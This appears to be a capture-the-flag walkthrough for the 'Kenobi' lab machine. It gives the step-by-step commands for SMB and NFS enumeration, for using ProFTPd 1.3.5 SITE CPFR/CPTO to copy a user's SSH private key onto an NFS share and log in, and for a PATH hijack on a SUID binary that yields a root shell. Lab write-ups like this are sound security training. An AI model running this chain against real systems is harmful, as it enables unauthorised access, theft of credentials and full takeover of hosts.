Kenobi
Tasks:
- Deploy the vulnerable machine:
- Do usual nmap scan with
nmap -sV ipand complete the task.
- Do usual nmap scan with
- Enumerating samba for shares:
- Do scan with
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse ip - Connect to anonymous smb share with no password
smbclient //ip/anonymous - Get all files from share recursively using
smbget -R smb:///anonymous.You can see there's log.txt which gives information about ftp port number and also kenobi's ssh private key location. - From nmap output port 111 is open and rpcbind running behind it. Use
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount ipto enumerate mount - /var is available as mount through network file system.
- Do scan with
- Gain initial access with ProFTPd:
- Use
nc ip 21to connect to ftp. ProFTPd version used is 1.3.5. Use searchsploit find exploits for the ProFTPd server used. - connect to ftp server and type
SITE CPFR /home/kenobi/.ssh/id_rsaandSITE CPTO /var/tmp/id_rsato copy ssh private key to nfs share. - Mount NFS share to your machine , copy ssh private key from /var/tmp to current working directory and ssh into kenobi using
mkdir /mnt/kenobiNFSmount machine_ip:/var /mnt/kenobiNFSls -la /mnt/kenobiNFScp /mnt/kenobiNFS/tmp/id_rsa .ssh -i id_rsa kenobi@ip
cat /home/kenobi/user.txtand submit user flag
- Use
- Privilege Escalation with Path Variable Manipulation:
- Find binaries with suid bit set using
find / -perm -u=s -type f 2>/dev/null - /usr/bin/menu seems looks out of ordinary
- Using strings on menu , we find that curl is called without full path ,So we can copy /bin/sh as curl to tmp path and export tmp path using
echo /bin/sh > /tmp/curl,chmod 777 /tmp/curl,export PATH=/tmp:$PATH - Now run /usr/bin/menu and select option 1 , you will get root shell.
cat /root/root.txtand submit root flag.
- Find binaries with suid bit set using
References: